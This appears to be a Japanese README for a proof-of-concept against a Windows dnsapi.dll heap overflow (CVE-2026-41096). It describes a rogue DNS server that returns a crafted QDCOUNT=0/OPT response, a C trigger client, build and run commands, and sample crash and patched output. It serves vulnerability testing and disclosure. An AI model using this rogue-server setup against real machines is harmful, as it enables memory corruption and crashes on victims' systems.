
DnsRawTruncateMessageForUdp() (dnsapi.dll) におけるヒープオーバーフロー。QDCOUNT=0 と大きな OPT レコードを含む巧妙に細工された DNS 応答により、切り詰めロジックが宛先ポインターを誤計算した場合に 604 バイトのヒープオーバーフローが発生します。
MSRC アドバイザリ: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| ファイル | 説明 |
|---|---|
rogue_dns_server.py | 不正 DNS サーバー (Python 3)。すべてのクエリに対し、QDCOUNT=0 + OPT レスポンス (623 バイト) を返します。 |
trigger_client.c | トリガークライアント (C/Win32)。不正サーバーを指す DnsQueryRaw を呼び出します。SetUnhandledExceptionFilter でクラッシュを捕捉します。 |
攻撃者 (不正サーバー):
被害者 (トリガークライアント):
DnsQueryRaw が必要)dnsapi.dll1. 不正サーバーを起動:
sudo python3 rogue_dns_server.py
2. トリガークライアントをビルドして実行:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (任意) 決定的なクラッシュを得るために Page Heap を有効化:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| コード | 意味 |
|---|---|
| 0 | システムはパッチ済み (DNS_ERROR_BAD_PACKET が正常に返される) |
| 1 | エラー (DnsQueryRaw が見つからない、ネットワーク問題など) |
| 2 | クラッシュ検出 (ヒープオーバーフロー確認) |
脆弱な場合 (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
脆弱な場合 (Page Heap なし):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
パッチ済み:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.